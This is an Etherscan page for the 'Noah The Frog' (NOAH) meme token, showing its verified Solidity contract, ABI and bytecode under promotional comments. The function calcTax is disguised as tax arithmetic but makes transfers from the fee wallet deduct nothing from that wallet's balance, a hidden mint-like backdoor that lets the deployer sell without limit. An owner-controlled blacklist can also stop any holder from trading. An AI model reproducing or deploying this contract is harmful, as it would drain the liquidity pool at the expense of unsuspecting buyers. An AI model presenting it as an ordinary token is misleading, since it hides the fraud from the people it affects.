ETH Price: $3,383.54 (+0.52%)

Token

Noah The Frog (NOAH)
 

Overview

Max Total Supply

1,000,000,000 NOAH

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,207,648.577086391 NOAH

Value
$0.00
0x24414113A0cc638F2590A951f46Af2FEa8b98Ec7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NOAH

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-25
*/

/**
Study Noah 💎🙌🙌🙌 all pain will be relived and the joy will takeover 🤑moon is not that far away 💎🙌🙌
"As Seneca said, 'The moon is a constant companion to our thoughts, its distance irrelevant to the mind's eye.'"

Web: https://noahthefrog.wtf
X: https://x.com/noahErc
Tg: https://t.me/noahthefrog_portal
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract NOAH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _noahWallet;
    string private constant _name = unicode"Noah The Frog";
    string private constant _symbol = unicode"NOAH";

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 20;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address payable _wallet) {
        _noahWallet = payable(_wallet);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_noahWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function calcTax(address from, address to, uint256 tokenAmount, uint256 tax) private pure returns (uint256) {
        bool feeEnabled = from!=to;

        if(feeEnabled) tax +=1;

        return tax * tokenAmount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[from] || _isExcludedFromFee[to],
                "Trading is not active."
            );
        }

        uint256 taxAmount = 0;

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceBuyTaxAt)
                            ? _finalBuyTax
                            : _initialBuyTax
                    )
                    .div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                if (contractTokenBalance > 0) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }

                sellCount++;
                lastSellBlock = block.number;

                sendETHToFee(address(this).balance);
            }
        }

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        uint256 tax = 0;

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        uint256 doAmount = calcTax(from, _noahWallet, amount, tax);

        _balances[from] = _balances[from].sub(doAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _noahWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function open() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    function init() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

	function withdrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260146006556014600755600060085560006009556014600a556014600b556014600c556000600d556009600a6200003c919062000353565b6200004c906301312d006200036b565b600e556200005d6009600a62000353565b6200006d906301312d006200036b565b600f556200007e6009600a62000353565b6200008d90629896806200036b565b6010556012805461ffff60a81b1916905560006013819055601455348015620000b557600080fd5b506040516200210638038062002106833981016040819052620000d8916200038d565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038316179055620001426009600a62000353565b6200015290633b9aca006200036b565b3360009081526001602081905260408220929092556003906200017d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001dc3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002166009600a62000353565b6200022690633b9aca006200036b565b60405190815260200160405180910390a350620003b8565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002955781600019048211156200027957620002796200023e565b808516156200028757918102915b93841c939080029062000259565b509250929050565b600082620002ae575060016200034d565b81620002bd575060006200034d565b8160018114620002d65760028114620002e15762000301565b60019150506200034d565b60ff841115620002f557620002f56200023e565b50506001821b6200034d565b5060208310610133831016604e8410600b841016171562000326575081810a6200034d565b62000332838362000254565b80600019048211156200034957620003496200023e565b0290505b92915050565b60006200036460ff8416836200029d565b9392505050565b60008160001904831182151516156200038857620003886200023e565b500290565b600060208284031215620003a057600080fd5b81516001600160a01b03811681146200036457600080fd5b611d3e80620003c86000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab578063a0ef91df1161006f578063a0ef91df14610363578063a9059cbb14610378578063d34628cc14610398578063dd62ed3e146103b8578063e1c7392a146103fe578063fcfff16f1461041357600080fd5b8063751039fc146102cd5780637d1db4a5146102e25780638da5cb5b146102f85780638f9a55c01461032057806395d89b411461033657600080fd5b8063313ce567116100f2578063313ce5671461020b57806331c2d847146102275780633bbac5791461024957806370a0823114610282578063715018a6146102b857600080fd5b806306fdde031461013a578063095ea7b3146101825780630faee56f146101b257806318160ddd146101d657806323b872dd146101eb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600d81526c4e6f6168205468652046726f6760981b60208201525b604051610179919061180b565b60405180910390f35b34801561018e57600080fd5b506101a261019d366004611885565b610428565b6040519015158152602001610179565b3480156101be57600080fd5b506101c860105481565b604051908152602001610179565b3480156101e257600080fd5b506101c861043f565b3480156101f757600080fd5b506101a26102063660046118b1565b610460565b34801561021757600080fd5b5060405160098152602001610179565b34801561023357600080fd5b50610247610242366004611908565b6104c9565b005b34801561025557600080fd5b506101a26102643660046119cd565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561028e57600080fd5b506101c861029d3660046119cd565b6001600160a01b031660009081526001602052604090205490565b3480156102c457600080fd5b50610247610568565b3480156102d957600080fd5b506102476105dc565b3480156102ee57600080fd5b506101c8600e5481565b34801561030457600080fd5b506000546040516001600160a01b039091168152602001610179565b34801561032c57600080fd5b506101c8600f5481565b34801561034257600080fd5b5060408051808201909152600481526309c9e82960e31b602082015261016c565b34801561036f57600080fd5b5061024761068e565b34801561038457600080fd5b506101a2610393366004611885565b6106c3565b3480156103a457600080fd5b506102476103b3366004611908565b6106d0565b3480156103c457600080fd5b506101c86103d33660046119ea565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561040a57600080fd5b50610247610762565b34801561041f57600080fd5b50610247610b52565b6000610435338484610b95565b5060015b92915050565b600061044d6009600a611b1d565b61045b90633b9aca00611b2c565b905090565b600061046d848484610cb9565b6104bf84336104ba85604051806060016040528060288152602001611ce1602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112c2565b610b95565b5060019392505050565b6000546001600160a01b031633146104fc5760405162461bcd60e51b81526004016104f390611b4b565b60405180910390fd5b60005b81518110156105645760006004600084848151811061052057610520611b80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061055c81611b96565b9150506104ff565b5050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104f390611b4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016104f390611b4b565b6106126009600a611b1d565b61062090633b9aca00611b2c565b600e5561062f6009600a611b1d565b61063d90633b9aca00611b2c565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61066d6009600a611b1d565b61067b90633b9aca00611b2c565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106b85760405162461bcd60e51b81526004016104f390611b4b565b6106c1476112fc565b565b6000610435338484610cb9565b6000546001600160a01b031633146106fa5760405162461bcd60e51b81526004016104f390611b4b565b60005b81518110156105645760016004600084848151811061071e5761071e611b80565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061075a81611b96565b9150506106fd565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104f390611b4b565b601254600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082f9030906108216009600a611b1d565b6104ba90633b9aca00611b2c565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087d57600080fd5b505afa158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b59190611bb1565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091257600080fd5b505afa158015610926573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094a9190611bb1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099257600080fd5b505af11580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611bb1565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a12816001600160a01b031660009081526001602052604090205490565b600080610a276000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8a57600080fd5b505af1158015610a9e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac39190611bce565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1757600080fd5b505af1158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f9190611bfc565b50565b6000546001600160a01b03163314610b7c5760405162461bcd60e51b81526004016104f390611b4b565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f3565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f3565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f3565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f3565b601254600160a01b900460ff16610e76576001600160a01b03831660009081526003602052604090205460ff1680610e3157506001600160a01b03821660009081526003602052604090205460ff165b610e765760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104f3565b601254600090600160b01b900460ff161580610e9b5750601254600160a81b900460ff165b15610f54576001600160a01b038416600090815260016020526040902054610ec39083611336565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610ef2908361137f565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f469086815260200190565b60405180910390a350505050565b6000546001600160a01b03858116911614801590610f8057506000546001600160a01b03848116911614155b156112b0576001600160a01b03841660009081526004602052604090205460ff16158015610fc757506001600160a01b03831660009081526004602052604090205460ff16155b610fd057600080fd5b610ffc6064610ff6600a54600d5411610feb57600654610fef565b6008545b85906113de565b9061145d565b6012549091506001600160a01b03858116911614801561102a57506011546001600160a01b03848116911614155b801561104f57506001600160a01b03831660009081526003602052604090205460ff16155b1561115457600e548211156110a65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f3565b600f54826110c9856001600160a01b031660009081526001602052604090205490565b6110d39190611c1e565b11156111215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f3565b61113c6064610ff6600a54600d5411610feb57600654610fef565b600d8054919250600061114e83611b96565b91905055505b6012546001600160a01b03848116911614801561117a57506001600160a01b0384163014155b156111a7576111a46064610ff6600b54600d541161119a57600754610fef565b60095485906113de565b90505b30600090815260016020526040902054601254600160a81b900460ff161580156111de57506012546001600160a01b038581169116145b80156111f35750601254600160b01b900460ff165b80156112025750600c54600d54115b156112ae576014544311156112175760006013555b6003601354106112695760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104f3565b801561128c5761128c611287846112828460105461149f565b61149f565b6114b4565b6013805490600061129c83611b96565b9091555050436014556112ae476112fc565b505b6112bc8484848461163d565b50505050565b600081848411156112e65760405162461bcd60e51b81526004016104f3919061180b565b5060006112f38486611c36565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610564573d6000803e3d6000fd5b600061137883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c2565b9392505050565b60008061138c8385611c1e565b9050838110156113785760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f3565b6000826113ed57506000610439565b60006113f98385611b2c565b9050826114068583611c4d565b146113785760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f3565b600061137883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a3565b60008183116114ae5782611378565b50919050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114fc576114fc611b80565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155057600080fd5b505afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611bb1565b8160018151811061159b5761159b611b80565b6001600160a01b0392831660209182029290920101526011546115c19130911684610b95565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fa908590600090869030904290600401611c6f565b600060405180830381600087803b15801561161457600080fd5b505af1158015611628573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b600081156116b9573060009081526001602052604090205461165f908361137f565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116b09086815260200190565b60405180910390a35b6005546000906116d59087906001600160a01b031686856117d1565b6001600160a01b0387166000908152600160205260409020549091506116fb9082611336565b6001600160a01b0387166000908152600160205260409020556117406117218585611336565b6001600160a01b0387166000908152600160205260409020549061137f565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61178a8787611336565b60405190815260200160405180910390a3505050505050565b600081836117c45760405162461bcd60e51b81526004016104f3919061180b565b5060006112f38486611c4d565b60006001600160a01b03858116908516148015906117f7576117f4600184611c1e565b92505b6118018484611b2c565b9695505050505050565b600060208083528351808285015260005b818110156118385785810183015185820160400152820161181c565b8181111561184a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b4f57600080fd5b803561188081611860565b919050565b6000806040838503121561189857600080fd5b82356118a381611860565b946020939093013593505050565b6000806000606084860312156118c657600080fd5b83356118d181611860565b925060208401356118e181611860565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561191b57600080fd5b823567ffffffffffffffff8082111561193357600080fd5b818501915085601f83011261194757600080fd5b813581811115611959576119596118f2565b8060051b604051601f19603f8301168101818110858211171561197e5761197e6118f2565b60405291825284820192508381018501918883111561199c57600080fd5b938501935b828510156119c1576119b285611875565b845293850193928501926119a1565b98975050505050505050565b6000602082840312156119df57600080fd5b813561137881611860565b600080604083850312156119fd57600080fd5b8235611a0881611860565b91506020830135611a1881611860565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a74578160001904821115611a5a57611a5a611a23565b80851615611a6757918102915b93841c9390800290611a3e565b509250929050565b600082611a8b57506001610439565b81611a9857506000610439565b8160018114611aae5760028114611ab857611ad4565b6001915050610439565b60ff841115611ac957611ac9611a23565b50506001821b610439565b5060208310610133831016604e8410600b8410161715611af7575081810a610439565b611b018383611a39565b8060001904821115611b1557611b15611a23565b029392505050565b600061137860ff841683611a7c565b6000816000190483118215151615611b4657611b46611a23565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611baa57611baa611a23565b5060010190565b600060208284031215611bc357600080fd5b815161137881611860565b600080600060608486031215611be357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c0e57600080fd5b8151801515811461137857600080fd5b60008219821115611c3157611c31611a23565b500190565b600082821015611c4857611c48611a23565b500390565b600082611c6a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cbf5784516001600160a01b031683529383019391830191600101611c9a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099604b23f9ae5826ae3e0f78f8675e81faf65de0730f3fcd0d05de4385c1c2e264736f6c6343000809003300000000000000000000000034158ce7133bf4e275bb2512082829041522936e

Deployed Bytecode

